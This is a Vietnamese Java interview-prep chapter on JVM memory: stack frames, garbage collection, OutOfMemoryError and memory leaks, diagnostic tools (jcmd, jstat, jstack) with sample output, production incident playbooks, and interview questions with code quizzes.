Giải thích: Chương trình in multiply <- square <- main rồi result = 5. Tại thời điểm multiply đang chạy, Stack của thread main trông như sau (frame trên cùng là frame đang chạy):
	Stack of thread "main"                       Heap
+------------------------------------+
| multiply: a=2, b=2                 |  <- running now
+------------------------------------+
| square:   x=2, y=(not yet)         |  <- waits for multiply
+------------------------------------+
| main:     base=2, result=(not yet) |
|           args ---------------------------> String[] object
+------------------------------------+



1. Biến kiểu nguyên thủy (a, b, x, base) nằm hẳn trong frame. Biến kiểu object như args chỉ là tham chiếu nằm trong frame, còn object thật nằm trên Heap.
1. Khi multiply trả về 4, frame của nó biến mất, square nhận y = 4 rồi trả về, frame của square biến mất, cuối cùng main tính result = 5.
1. Đệ quy không có điểm dừng đặt frame chồng lên mãi cho tới khi hết chỗ trên Stack (mặc định khoảng 1 MB), lúc đó JVM ném StackOverflowError. Đây cũng chính là thứ jstack in ra: mỗi dòng at ... là một frame.
2.3 Garbage Collection
GC root và "reachable" bằng lời thường
GC root là những điểm xuất phát mà JVM chắc chắn đang dùng, giống danh sách "người đang ở trong tòa nhà" mà bảo vệ luôn biết. Ví dụ quen thuộc nhất: biến cục bộ trong frame của các thread đang chạy (xem mục Stack frame ở 2.2) và static field của các class đã nạp. Một object được gọi là reachable (với tới được) nếu từ một GC root nào đó, đi theo các tham chiếu (field trỏ tới object khác, phần tử trong mảng, list, map) ta tới được nó. Không có đường đi nào thì object đó là rác, dù nó vẫn còn trỏ tới object khác hay bị object khác trỏ tới.
Đồ thị object dưới đây mô tả Heap của một service đang xử lý request tạo đơn hàng. Mũi tên là tham chiếu:
	GC ROOTS                                HEAP
[stack of http-exec-1: order] ----> Order#1 ----> Customer#7
                                        |
                                        +-------> ArrayList#3 ----> Item#1
                                                               \--> Item#2
[static field ProductCache.MAP] --> HashMap#9 --> Product#5
 
(no path from any root)             Temp#4 <----> Temp#6   (cycle, still garbage)
                                    String#8               (garbage)



1. Reachable: Order#1, Customer#7, ArrayList#3, Item#1, Item#2 (đi từ biến order trên Stack), HashMap#9, Product#5 (đi từ static field).
1. Rác: Temp#4, Temp#6 trỏ vòng vào nhau nhưng không root nào dẫn tới; String#8 không ai trỏ tới.
1. Khi request kết thúc, frame chứa biến order bị bỏ đi, nên cả nhánh Order#1 trở thành rác ở lần GC kế tiếp. Nhánh HashMap#9 thì sống mãi vì static field sống cùng class, đó là lý do static collection là nguồn memory leak số một (xem 2.4).
GC không đếm tham chiếu. Nó bắt đầu từ các GC roots và đánh dấu mọi object reachable (đi tới được); phần còn lại là rác. GC roots gồm: biến cục bộ và tham số trên stack của các thread đang sống, static field của các class đã nạp, tham chiếu JNI, các thread đang chạy, object đang bị giữ monitor. Nhờ cách này, hai object tham chiếu vòng lẫn nhau nhưng không ai từ root trỏ tới vẫn bị thu hồi bình thường.
Các thuật ngữ bạn cần dùng đúng:
1. Stop-the-world (STW): khoảng thời gian mọi thread ứng dụng bị dừng để GC làm việc. Mục tiêu của GC hiện đại là giảm thời gian này.
1. Minor/Young GC: dọn young gen, thường vài mili giây. Full GC: dọn toàn bộ Heap, lâu hơn nhiều; Full GC xuất hiện thường xuyên là dấu hiệu có vấn đề.
1. Throughput vs latency: GC tối ưu tổng thông lượng (Parallel) khác với GC tối ưu độ trễ (ZGC). Không có GC tốt nhất cho mọi trường hợp.
Minor GC, major GC và stop-the-world
Stop-the-world giống việc dọn một căn phòng đông người: muốn biết chắc món đồ nào còn ai dùng, cách an toàn nhất là bảo mọi người đứng yên một lúc. JVM đưa mọi thread ứng dụng về một điểm dừng an toàn (safepoint), làm phần việc cần sự bất động, rồi cho chạy tiếp. Trong khoảng đó, request đang xử lý bị "đứng hình": pause 300 ms nghĩa là p99 latency có thể tăng thêm 300 ms.
	Loại
	Dọn vùng nào
	Khi nào xảy ra
	Chi phí

	Minor GC (Young GC)
	Eden và Survivor
	Eden đầy
	Stop-the-world, thường vài ms

	Major GC
	Old generation
	Old gần đầy
	Tùy GC, G1 đánh dấu song song rồi dọn dần (mixed GC)

	Full GC
	Toàn bộ Heap (và Metaspace)
	Dọn thường không kịp, System.gc()
	Stop-the-world, có thể hàng giây



Thuật ngữ "major GC" không được định nghĩa thống nhất: nhiều người dùng nó như "Full GC". Khi phỏng vấn, hãy nói rõ bạn đang nói về vùng nào để tránh hiểu nhầm. Bảng dưới đây mô tả trạng thái Heap qua hai lần minor GC. Object A là entry cache sống lâu; B, C, D, E, F, G là object tạm của các request:
	Thời điểm
	Eden
	Survivor
	Old

	Trước minor GC 1
	Đầy: A, B, C, D (C, D đã chết)
	S0, S1 rỗng
	Các bean

	Sau minor GC 1
	Rỗng
	S0: A (tuổi 1), B (tuổi 1)
	Các bean

	Trước minor GC 2
	Đầy: E, F, G (E, G đã chết); B cũng đã chết
	S0: A, B
	Các bean

	Sau minor GC 2
	Rỗng
	S1: A (tuổi 2), F (tuổi 1)
	Các bean

	Sau nhiều lần nữa
	...
	F đã chết
	Các bean, A (được promote)



Giải thích: Ở mỗi minor GC, JVM chỉ copy những object còn sống từ Eden và Survivor đang dùng sang Survivor còn lại, rồi coi toàn bộ Eden là trống. Object chết (C, D, E, G, B) không cần xử lý gì, vì vậy minor GC nhanh dù Eden lớn: chi phí tỉ lệ với số object sống, không phải số object rác. A sống đủ lâu nên được promote lên Old. Nếu Old cũng đầy mà dọn không kịp, JVM phải chạy Full GC, và đó là lúc service "đứng hình" lâu.
Một dòng GC log (bật bằng -Xlog:gc, xem 2.5) cho biết đúng những con số này:
	[0.412s][info][gc] GC(0) Pause Young (Normal) (G1 Evacuation Pause) 24M->3M(256M) 2.915ms
[5.873s][info][gc] GC(7) Pause Young (Normal) (G1 Evacuation Pause) 180M->41M(256M) 6.120ms
[9.004s][info][gc] GC(12) Pause Full (G1 Compaction Pause) 250M->238M(256M) 812.447ms



Giải thích: 24M->3M(256M) 2.915ms nghĩa là Heap đang dùng 24 MB trước GC, còn 3 MB sau GC, tổng Heap hiện có 256 MB, pause mất gần 3 ms. Hai dòng đầu là minor GC khỏe mạnh: thu hồi phần lớn bộ nhớ trong vài ms. Dòng thứ ba là tín hiệu xấu: Full GC dừng ứng dụng 812 ms mà chỉ thu hồi từ 250 MB xuống 238 MB, tức là gần như mọi object trong Heap vẫn reachable. Khi thấy mẫu này lặp lại, hãy nghĩ tới memory leak hoặc Heap quá nhỏ so với dữ liệu thật.
	GC
	Đặc điểm
	Khi nào dùng

	Serial
	Một thread, đơn giản
	Container rất nhỏ, JVM tự chọn khi ít CPU/RAM

	Parallel
	Nhiều thread, tối ưu throughput
	Batch job, không quan tâm pause

	G1 (mặc định từ Java 9)
	Chia Heap thành region, mục tiêu pause mặc định 200 ms
	Đa số web service

	ZGC
	Gần như mọi việc chạy song song với ứng dụng, pause dưới 1 ms
	Heap lớn, yêu cầu độ trễ thấp



G1 chia Heap thành nhiều region nhỏ, ưu tiên dọn region chứa nhiều rác nhất trước (vì thế tên là Garbage-First) và cố gắng giữ pause dưới -XX:MaxGCPauseMillis. ZGC chính thức dùng production từ Java 15; Java 21 bổ sung Generational ZGC (bật bằng -XX:+UseZGC -XX:+ZGenerational), và từ Java 23 chế độ generational trở thành mặc định của ZGC.
	BẪY THƯỜNG GẶP
JVM chỉ mặc định chọn G1 khi máy được coi là "server-class" (ít nhất 2 CPU và khoảng 2 GB RAM). Pod Kubernetes giới hạn 1 CPU sẽ âm thầm chạy Serial GC. Nếu quan trọng, hãy chỉ định GC tường minh.



Bạn không thể ép GC chạy. System.gc() chỉ là gợi ý; JVM có thể bỏ qua (và nhiều hệ thống tắt hẳn bằng -XX:+DisableExplicitGC). Gọi nó trong code production thường chỉ gây Full GC không cần thiết. finalize() đã bị deprecated từ Java 9 và đánh dấu sẽ xóa (JEP 421, Java 18): không đảm bảo được gọi, gọi lúc nào, và làm chậm GC. Giải phóng tài nguyên thì dùng try-with-resources; trường hợp đặc biệt dùng java.lang.ref.Cleaner.
2.4 OutOfMemoryError, StackOverflowError và memory leak
Thông điệp đi kèm OutOfMemoryError cho biết vùng nào cạn, và hướng điều tra khác nhau hoàn toàn:
	Thông điệp
	Ý nghĩa
	Hướng điều tra

	Java heap space
	Heap đầy, GC không thu hồi được
	Heap dump, tìm object giữ nhiều bộ nhớ

	GC overhead limit exceeded
	GC chạy gần như liên tục mà thu hồi rất ít
	Giống heap space, thường là leak

	Metaspace
	Nạp quá nhiều class
	Proxy/class sinh động, classloader leak

	unable to create native thread
	Không tạo thêm được thread
	Thread leak, pool không giới hạn, ulimit

	Direct buffer memory
	Hết bộ nhớ off-heap của NIO
	Netty/WebClient buffer không release



StackOverflowError khác hẳn: một thread gọi lồng quá sâu, thường do đệ quy không có điểm dừng. Trường hợp thực tế hay gặp nhất trong Spring là serialize JSON entity có quan hệ hai chiều (Order có list OrderItem, OrderItem trỏ ngược về Order), hoặc toString()/hashCode() do Lombok sinh ra đi vòng qua hai entity. Cách sửa: trả DTO thay vì entity, hoặc loại field quan hệ khỏi toString/equals.
	NHẮC LẠI KIẾN THỨC
GC chỉ thu hồi object không reachable từ GC root (xem 2.3). HashMap tìm entry theo hashCode() của key; nếu key bị sửa sau khi put, entry nằm sai bucket và không get/remove được nữa (xem 1.2 và 1.5).



Java có GC nhưng vẫn rò rỉ bộ nhớ: object không còn cần nhưng vẫn reachable. Các nguồn điển hình:
1. Static collection dùng làm "cache tạm", chỉ thêm mà không bao giờ xóa.
1. Cache không giới hạn: ConcurrentHashMap làm cache theo userId hoặc theo tham số request. Hãy dùng Caffeine với maximumSize và expireAfterWrite.
1. ThreadLocal trong thread pool: thread của Tomcat sống mãi, nên giá trị ThreadLocal không remove() sẽ sống mãi, và còn có thể lộ dữ liệu sang request của người dùng khác (xem Chương 3).
1. Listener/callback không hủy đăng ký: đăng ký vào event bus hoặc scheduler rồi quên gỡ khi object hết vòng đời.
1. Connection, stream, ResultSet không đóng: rò rỉ cả Heap lẫn tài nguyên bên ngoài (connection pool cạn trước khi Heap đầy).
1. Key mutable trong HashMap (xem Chương 1): entry bị lạc, không xóa được.
Ví dụ memory leak và cách sửa
Đoạn code dưới đây mô phỏng một service ghi lại mọi báo cáo đã sinh ra vào một static list "để tiện tra cứu", và phiên bản sửa dùng cache có giới hạn:
	import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
 
public class LeakDemo {
    // LEAK: static list is reachable from a GC root forever, nothing is ever removed
    static final List<byte[]> AUDIT_LOG = new ArrayList<>();
 
    static void handleLeaky(int requestId) {
        byte[] report = new byte[10_000];              // ~10 KB per request
        AUDIT_LOG.add(report);                         // kept forever
    }
 
    // FIX: bounded LRU cache, drops the eldest entry once size exceeds 100
    static final Map<Integer, byte[]> RECENT = new LinkedHashMap<>(16, 0.75f, true) {
        @Override
        protected boolean removeEldestEntry(Map.Entry<Integer, byte[]> eldest) {
            return size() > 100;
        }
    };
 
    static void handleFixed(int requestId) { RECENT.put(requestId, new byte[10_000]); }
 
    public static void main(String[] args) {
        for (int i = 0; i < 5_000; i++) { handleLeaky(i); handleFixed(i); }
        System.out.println("leaky entries = " + AUDIT_LOG.size()); // prints: leaky entries = 5000
        System.out.println("fixed entries = " + RECENT.size());    // prints: fixed entries = 100
    }
}



Giải thích: Sau 5.000 request, list rò rỉ giữ 5.000 mảng (khoảng 50 MB) còn cache sửa chỉ giữ 100 mảng (khoảng 1 MB).
1. Bản rò rỉ: AUDIT_LOG là static field, tức là GC root. Mọi mảng đã add đều reachable, GC không được phép thu hồi. Với 1 triệu request mỗi ngày, service sẽ OOM sau vài giờ hoặc vài ngày, và biểu đồ "Heap sau GC" có dạng răng cưa đi lên.
1. Bản sửa: LinkedHashMap với accessOrder = true và removeEldestEntry trả true khi vượt 100 phần tử, nên entry cũ nhất bị gỡ khỏi map và trở thành rác. Trên production, bạn nên dùng Caffeine (maximumSize, expireAfterWrite) vì nó thread-safe và có thống kê; LinkedHashMap ở đây không thread-safe, chỉ để minh họa ý tưởng.
1. Nếu mục đích là lưu vết (audit) thật sự, dữ liệu đó thuộc về database hoặc log, không thuộc về Heap.
2.5 Công cụ và cấu hình cần biết
Cấu hình tối thiểu cho một service production. Lệnh dưới đây khởi động một service với Heap cố định, tự ghi heap dump khi OOM và bật GC log, tức là đảm bảo khi sự cố xảy ra lúc 2 giờ sáng thì sáng hôm sau bạn vẫn có bằng chứng để điều tra:
	# Fixed 2 GB heap; on OOM write a heap dump to /dumps, then exit
# GC log to /logs/gc.log, rotating at most 5 files x 20 MB
java -Xms2g -Xmx2g \
     -XX:+HeapDumpOnOutOfMemoryError \
     -XX:HeapDumpPath=/dumps \
     -XX:+ExitOnOutOfMemoryError \
     -Xlog:gc*:file=/logs/gc.log:time,uptime:filecount=5,filesize=20m \
     -jar order-service.jar



Giải thích: Khi chạy bình thường, lệnh này không khác gì java -jar; khác biệt chỉ lộ ra lúc có sự cố. Nếu Heap cạn, JVM ghi file .hprof vào /dumps rồi thoát, orchestrator khởi động lại service, còn file dump và GC log vẫn nằm lại để phân tích. Không có các tham số này, JVM có thể "sống dở" sau OOM và bạn mất hết bằng chứng khi restart. Từng tham số:
1. -Xms bằng -Xmx trên server giúp tránh chi phí co giãn Heap và lộ lỗi thiếu bộ nhớ ngay lúc khởi động.
1. HeapDumpOnOutOfMemoryError ghi file .hprof đúng lúc OOM, đây là bằng chứng quý nhất. HeapDumpPath phải trỏ vào volume còn tồn tại sau khi container restart.
1. ExitOnOutOfMemoryError: JVM sau OOM thường ở trạng thái không đáng tin; để nó chết hẳn cho orchestrator khởi động lại tốt hơn là "sống dở".
1. -Xlog:gc* là unified logging (Java 9+), thay cho -XX:+PrintGCDetails cũ. Cú pháp gồm các phần cách nhau bởi dấu hai chấm: gc* (mọi tag bắt đầu bằng gc), file=... (nơi ghi), time,uptime (mỗi dòng kèm giờ thực và thời gian kể từ lúc JVM khởi động), filecount=5,filesize=20m (xoay vòng để log không lấp đầy ổ đĩa).
Trong container, JVM đã nhận biết giới hạn cgroup từ Java 10 (và 8u191). Nhưng mặc định Heap tối đa chỉ bằng 1/4 bộ nhớ container. Thay vì hard-code -Xmx, dùng -XX:MaxRAMPercentage=75.0 để Heap co giãn theo limit của pod. Đừng đặt 100%: Metaspace, thread stack, code cache, direct buffer đều cần chỗ. Nếu tổng bộ nhớ process vượt limit, kernel kill process (Kubernetes báo OOMKilled, exit code 137) và không có heap dump nào cả, vì đó không phải OutOfMemoryError của Java.
	Công cụ
	Dùng để
	Lệnh ví dụ

	jcmd
	Công cụ đa năng, nên dùng mặc định
	jcmd <pid> GC.heap_dump /dumps/h.hprof

	jstack
	Thread dump: deadlock, thread treo, CPU cao
	jstack <pid> hoặc jcmd <pid> Thread.print

	jmap
	Histogram object, heap dump
	jmap -histo:live <pid>

	jstat
	Theo dõi GC theo thời gian
	jstat -gcutil <pid> 1000

	Eclipse MAT
	Phân tích heap dump: dominator tree, leak suspects
	Mở file .hprof

	VisualVM
	Giám sát trực quan, thích hợp môi trường dev/test
	Kết nối JMX

	JFR + JMC
	Profiling chi phí thấp, dùng được trên production
	jcmd <pid> JFR.start duration=120s filename=/dumps/app.jfr



Lưu ý: tạo heap dump sẽ dừng ứng dụng trong vài giây đến vài chục giây với Heap lớn, và -histo:live kích hoạt Full GC. Trên production hãy tách instance khỏi load balancer trước khi dump nếu có thể. File heap dump chứa dữ liệu thật của người dùng, cần xử lý như dữ liệu nhạy cảm.
Đọc output của jcmd, jstat và jstack
Các lệnh dưới đây là những gì bạn thật sự gõ trên server. Output đã rút gọn, pid giả định là 4021:
	jcmd -l                              # list Java processes: "4021 order-service.jar"
jcmd 4021 GC.heap_info               # current heap usage per area
jcmd 4021 GC.class_histogram | head  # which classes use the most memory (triggers a full GC)
jstat -gcutil 4021 1000 3            # GC utilization, every 1000 ms, 3 samples
jstack 4021 > /tmp/td-1.txt          # thread dump, same as: jcmd 4021 Thread.print



Giải thích: jcmd -l giúp lấy pid mà không cần ps. GC.heap_info xem nhanh Heap đang dùng bao nhiêu, GC.class_histogram đếm object theo class, jstat -gcutil theo dõi GC theo thời gian, jstack chụp trạng thái mọi thread. Output mẫu của GC.heap_info và GC.class_histogram:
	4021:
 garbage-first heap   total 2097152K, used 1929380K
  region size 1024K, 38 young (38912K), 4 survivors (4096K)
 Metaspace       used 131072K, committed 132608K, reserved 1179648K
 
 num     #instances         #bytes  class name (module)
-------------------------------------------------------
   1:       5012331      641578368  [B (java.base@21.0.4)
   2:       5009870      120236880  java.lang.String (java.base@21.0.4)
   3:        812345       25995040  com.shop.order.OrderDto
   4:        812300       19495200  java.util.concurrent.ConcurrentHashMap$Node



Giải thích: Heap 2 GB đã dùng khoảng 1,84 GB mà young chỉ chiếm 38 MB, tức là gần như toàn bộ nằm ở Old. Histogram cho thấy 812 nghìn OrderDto cùng số lượng tương đương ConcurrentHashMap$Node: gần như chắc chắn có một ConcurrentHashMap đang giữ OrderDto mà không bao giờ xóa. [B là byte[], phần lớn là nội dung của String. Histogram chỉ cho biết cái gì chiếm bộ nhớ; muốn biết ai giữ nó, bạn cần heap dump và Path to GC Roots trong Eclipse MAT. Output mẫu của jstat -gcutil:
	  S0     S1     E      O      M     CCS    YGC    YGCT   FGC    FGCT     GCT
  0.00 100.00  62.15  97.80  96.12  91.40   1520  8.412    37  29.871   38.283
  0.00 100.00  88.40  98.95  96.12  91.40   1520  8.412    38  30.690   39.102
  0.00   0.00  12.03  99.10  96.12  91.40   1521  8.431    39  31.502   39.933



Giải thích: Các cột S0, S1, E, O, M là phần trăm đã dùng của Survivor, Eden, Old, Metaspace. YGC/FGC là số lần minor/Full GC, YGCT/FGCT là tổng giây đã tốn. Cột O luôn trên 97% và FGC tăng 1 mỗi giây (37 → 38 → 39), mỗi lần tốn khoảng 0,8 giây: ứng dụng dành gần hết thời gian cho GC mà Old không giảm. Đây là dấu hiệu leak hoặc Heap thiếu, và thường đi kèm triệu chứng CPU cao, request timeout. Một đoạn thread dump từ jstack:
	"http-nio-8080-exec-7" #45 daemon prio=5 os_prio=0 cpu=58231.40ms elapsed=612.33s tid=0x00007f3c2c0a1000 nid=0x3039 runnable
   java.lang.Thread.State: RUNNABLE
        at java.util.regex.Pattern$Loop.match(java.base@21.0.4/Pattern.java:4790)
        at java.util.regex.Matcher.matches(java.base@21.0.4/Matcher.java:729)
        at com.shop.order.PhoneValidator.isValid(PhoneValidator.java:18)
        at com.shop.order.OrderController.create(OrderController.java:42)
 
"http-nio-8080-exec-9" #47 daemon prio=5 os_prio=0 cpu=12.10ms elapsed=612.30s tid=0x00007f3c2c0a3000 nid=0x303b waiting for monitor entry
   java.lang.Thread.State: BLOCKED (on object monitor)
        at com.shop.order.InvoiceNumberGenerator.next(InvoiceNumberGenerator.java:25)
        - waiting to lock <0x000000070ff1a2b8> (a java.lang.Object)



Giải thích: Mỗi thread gồm một dòng tiêu đề và các frame at ... (frame trên cùng là dòng đang chạy). Cách đọc:
1. Tên thread (http-nio-8080-exec-7) cho biết thread thuộc pool nào: đây là thread xử lý request của Tomcat.
1. cpu=58231.40ms là tổng thời gian CPU thread đã dùng; 58 giây là bất thường với một thread xử lý request. nid=0x3039 là id thread ở hệ điều hành dạng hex: printf '%x' 12345 ra 3039, khớp với TID 12345 mà top -H -p 4021 báo đang chiếm CPU.
1. Stack trace cho thấy thread kẹt trong regex do PhoneValidator.isValid dòng 18 gọi. Nếu 3 lần dump liên tiếp đều thấy đúng đoạn này, gần như chắc chắn là catastrophic backtracking.
1. Thread thứ hai ở trạng thái BLOCKED, dòng waiting to lock <0x...2b8> cho biết nó chờ monitor của một object. Tìm thread có dòng - locked <0x...2b8> để biết ai đang giữ lock. Nếu có deadlock, cuối file dump còn có mục Found one Java-level deadlock liệt kê từng cặp "chờ lock nào, lock đó đang bị ai giữ".
2.6 Kịch bản: production bị OOM hoặc CPU 100%, bạn làm gì?
Đây là câu tôi dùng để phân biệt người từng trực sự cố với người chỉ đọc tài liệu. Câu trả lời tốt luôn có hai pha: khôi phục dịch vụ trước, tìm nguyên nhân gốc sau, và thu thập bằng chứng trước khi restart.
Kịch bản OOM:
1. Xác nhận loại lỗi: xem log có java.lang.OutOfMemoryError kèm thông điệp gì, hay pod bị OOMKilled (exit 137). Hai trường hợp điều tra khác nhau.
1. Giảm tác động: nếu có nhiều instance, để load balancer/Kubernetes chuyển tải; scale thêm pod hoặc rollback nếu lỗi xuất hiện ngay sau một lần deploy.
1. Thu thập bằng chứng: lấy file .hprof từ HeapDumpPath, GC log, metric Heap (Prometheus/Grafana qua Micrometer). Nếu instance còn sống nhưng Heap đang tăng dần, chủ động lấy heap dump bằng jcmd.
1. Phân tích heap dump bằng Eclipse MAT: xem Leak Suspects, Dominator Tree, đi theo Path to GC Roots để biết ai đang giữ object. Thường sẽ thấy một HashMap static hoặc một cache chiếm phần lớn Heap.
1. Đối chiếu với biểu đồ: Heap sau mỗi lần GC tăng dần theo thời gian (dạng răng cưa đi lên) là leak; Heap tăng vọt theo một request là tải dữ liệu quá lớn (query không phân trang, đọc cả file vào bộ nhớ).
1. Sửa gốc: giới hạn cache, phân trang/stream dữ liệu, đóng tài nguyên, remove() ThreadLocal. Chỉ tăng -Xmx khi đã chứng minh ứng dụng thực sự cần nhiều bộ nhớ hơn.
1. Phòng ngừa: alert khi Heap sau GC vượt ngưỡng, test tải, ghi lại postmortem.
Kịch bản CPU 100%:
1. Xác định process: top để thấy process Java nào chiếm CPU.
1. Tìm thread: top -H -p <pid> liệt kê thread, lấy TID của thread nóng nhất, đổi sang hex bằng printf '%x' <tid>.
1. Lấy thread dump 3–5 lần cách nhau vài giây bằng jstack <pid>, tìm thread có nid=0x... khớp với số hex. Nếu cùng một stack trace lặp lại qua nhiều lần dump, đó là thủ phạm.
1. Nếu các thread nóng là thread GC (GC Thread, G1 Conc), vấn đề thật là bộ nhớ: jstat -gcutil sẽ cho thấy Old gen gần đầy và số Full GC tăng liên tục. Quay về kịch bản OOM.
1. Nguyên nhân thường gặp: vòng lặp vô hạn do điều kiện sai, regex bị catastrophic backtracking với input lạ, busy-wait, xử lý collection khổng lồ trong một request, retry không có backoff.
1. Khi không rõ, bật JFR vài phút hoặc dùng async-profiler để có flame graph, thay vì đoán.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Khi kể kịch bản này, hãy gắn với một sự cố bạn từng gặp: triệu chứng, cách phát hiện, lệnh đã chạy, nguyên nhân gốc, và bạn đã làm gì để không tái diễn. Một câu chuyện thật 2 phút có giá trị hơn 10 phút liệt kê công cụ.



2.7 Câu hỏi phỏng vấn thường gặp
Câu hỏi (Cơ bản): Heap và Stack khác nhau thế nào? Object có bao giờ nằm trên stack không?
Heap chứa object, dùng chung giữa các thread, do GC quản lý. Stack riêng từng thread, chứa frame của các lời gọi method với biến cục bộ và tham chiếu, tự giải phóng khi method kết thúc. Biến cục bộ kiểu object chỉ là tham chiếu nằm trên stack, object thật nằm trên Heap.
	CÂU HỎI ĐÀO SÂU
"Có trường hợp object không cấp phát trên Heap không?" — Về mặt ngôn ngữ, không. Nhưng JIT có escape analysis: nếu object không thoát ra khỏi method, C2 có thể thay nó bằng các biến rời (scalar replacement), khiến việc cấp phát bị loại bỏ hoàn toàn. Đây là tối ưu của JVM, code không điều khiển được.



Câu hỏi (Hiểu sâu): Metaspace khác PermGen ra sao? Vì sao thay đổi?
PermGen nằm trong vùng quản lý của JVM với kích thước cố định, hay gây OOM khi ứng dụng sinh nhiều class hoặc redeploy nhiều lần. Metaspace (Java 8) dùng native memory, tự mở rộng, mặc định không giới hạn. Static field và String pool đã nằm trong Heap.
	BẪY THƯỜNG GẶP
Nói "Metaspace không giới hạn nên không bao giờ OOM". Classloader leak hoặc sinh proxy động liên tục vẫn làm Metaspace phình to, và trong container nó ăn vào giới hạn bộ nhớ của pod.



Câu hỏi (Cơ bản): GC xác định object nào là rác như thế nào?
Bằng reachability từ GC roots (biến trên stack của thread đang sống, static field, JNI, thread đang chạy), không phải đếm tham chiếu. Object không đi tới được từ root nào là rác, kể cả khi chúng tham chiếu vòng lẫn nhau.
	CÂU HỎI ĐÀO SÂU
"Vậy memory leak trong Java là gì?" — Là object không còn dùng nhưng vẫn reachable, ví dụ nằm trong static Map, cache không giới hạn, ThreadLocal chưa remove, listener chưa hủy.



Câu hỏi (Cơ bản): Có ép được GC chạy không? System.gc() và finalize() thì sao?
Không. System.gc() chỉ là gợi ý, JVM có thể bỏ qua, và trên production thường gây Full GC không cần thiết. finalize() đã deprecated và sẽ bị xóa, không đảm bảo được gọi. Tài nguyên phải đóng tường minh bằng try-with-resources.
	BẪY THƯỜNG GẶP
Trả lời "gọi System.gc() để giải phóng bộ nhớ khi thấy Heap cao". Heap cao không phải vấn đề; Heap sau GC tăng dần mới là dấu hiệu leak.



Câu hỏi (Hiểu sâu): G1 và ZGC khác nhau thế nào? Bạn chọn GC ra sao?
G1 (mặc định từ Java 9) chia Heap thành region, cân bằng throughput và pause, mục tiêu pause khoảng 200 ms, phù hợp đa số service. ZGC làm gần như mọi việc song song với ứng dụng, pause dưới 1 ms kể cả Heap rất lớn, đổi lại tốn thêm CPU. Tôi giữ G1 mặc định, chỉ đổi khi số liệu p99 latency cho thấy GC pause là nguyên nhân.
	CÂU HỎI ĐÀO SÂU
"Làm sao biết GC pause gây chậm?" — Đọc GC log hoặc JFR, so thời điểm pause với thời điểm latency tăng vọt; metric jvm.gc.pause của Micrometer cũng cho thấy điều này.



Câu hỏi (Thực chiến): Pod Kubernetes của bạn bị restart với OOMKilled nhưng không có heap dump. Tại sao?
Vì đó là kernel kill process do vượt memory limit của container, không phải OutOfMemoryError của JVM. Nguyên nhân thường là Heap đặt quá sát limit, không chừa chỗ cho Metaspace, thread stack, direct buffer. Cách xử lý: dùng -XX:MaxRAMPercentage khoảng 70–75%, theo dõi bộ nhớ native bằng Native Memory Tracking (-XX:NativeMemoryTracking=summary, xem bằng jcmd <pid> VM.native_memory summary).
Câu hỏi (Thực chiến): Production bị OOM, bạn xử lý từng bước thế nào?
Khôi phục dịch vụ trước (chuyển tải, scale, rollback), nhưng giữ lại bằng chứng: heap dump từ HeapDumpOnOutOfMemoryError, GC log, metric. Phân tích heap dump bằng Eclipse MAT (Leak Suspects, Dominator Tree, Path to GC Roots), đối chiếu biểu đồ Heap sau GC để phân biệt leak với tải đột biến. Sửa nguyên nhân gốc rồi mới tính chuyện tăng -Xmx, và bổ sung alert.
	BẪY THƯỜNG GẶP
"Tôi tăng -Xmx lên gấp đôi." Nếu là leak, bạn chỉ trì hoãn sự cố thêm vài giờ và khiến heap dump lần sau to hơn, khó phân tích hơn.



Câu hỏi (Thực chiến): CPU lên 100%, làm sao tìm ra dòng code gây ra?
top -H -p <pid> tìm thread nóng, đổi TID sang hex, đối chiếu nid trong vài lần jstack liên tiếp. Nếu thread nóng là thread GC thì quay về điều tra bộ nhớ. Không rõ ràng thì dùng JFR hoặc async-profiler để có flame graph.
Câu hỏi (Cơ bản): Một class được JVM nạp và khởi tạo khi nào?
Class được nạp lười: chỉ khởi tạo khi được dùng thật lần đầu. Quá trình gồm ba bước: nạp (đọc bytecode, tạo object Class), liên kết (verify, cấp giá trị mặc định cho static field, resolve), khởi tạo (chạy lệnh gán static và static block theo thứ tự viết).
1. Kích hoạt khởi tạo: new, gọi static method, đọc/ghi static field không phải hằng số, khởi tạo class con, Class.forName.
1. Không kích hoạt: đọc hằng số compile-time (static final int MAX = 10), tạo mảng Config[], khai báo biến kiểu Config.
	CÂU HỎI ĐÀO SÂU
"Static block ném exception thì sao?" — Lần đầu nhận ExceptionInInitializerError, các lần sau nhận NoClassDefFoundError vì class bị đánh dấu khởi tạo thất bại. Nhiều người đọc log thấy NoClassDefFoundError và đi tìm JAR bị thiếu, trong khi nguyên nhân thật nằm ở dòng log đầu tiên.



Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	public class InitQuiz {
    static class Parent {
        static { System.out.println("Parent init"); }
        static String NAME = "parent";
    }
 
    static class Child extends Parent {
        static { System.out.println("Child init"); }
        static final String TAG = "child";              // compile-time constant
    }
 
    public static void main(String[] args) {
        System.out.println(Child.TAG);
        System.out.println(Child.NAME);                 // NAME is declared in Parent
    }
}



Đáp án: In ra child, Parent init, parent. Không có dòng Child init.
1. Child.TAG là hằng số compile-time, được chép thẳng vào main, không class nào bị khởi tạo.
1. Child.NAME thực chất là field khai báo ở Parent. JVM chỉ khởi tạo class khai báo field đó, tức là Parent, nên in Parent init rồi parent. Child vẫn chưa được khởi tạo vì chưa có ai dùng thứ gì thuộc riêng nó.
Câu hỏi (Cơ bản): Stack frame là gì? Nó được tạo và hủy khi nào?
Stack frame là "ngăn" trên Stack của thread dành riêng cho một lần gọi method, chứa tham số, biến cục bộ và giá trị tính toán tạm. Frame được đặt lên đỉnh Stack khi method bắt đầu và bị bỏ đi ngay khi method trả về hoặc ném exception ra ngoài. Vì vậy biến cục bộ không cần GC dọn, và mỗi thread có biến cục bộ riêng nên chúng tự nhiên thread-safe. Gọi lồng main → square → multiply thì có ba frame chồng lên nhau, frame multiply ở trên cùng.
Câu hỏi (Đọc code): Chương trình dưới đây in ra gì?
	public class DeepRecursion {
    static int depth = 0;
 
    static void dive() {
        depth++;
        dive();                                         // no base case
    }
 
    public static void main(String[] args) {
        try {
            dive();
        } catch (StackOverflowError e) {
            System.out.println("caught, depth > 1000: " + (depth > 1000)); // prints: caught, depth > 1000: true
        }
    }
}



Đáp án: In caught, depth > 1000: true. Giá trị depth chính xác thay đổi theo máy và -Xss (thường vài nghìn đến vài chục nghìn), nên đề chỉ in phép so sánh.
1. Mỗi lần gọi dive() thêm một frame; không có điểm dừng nên Stack đầy và JVM ném StackOverflowError.
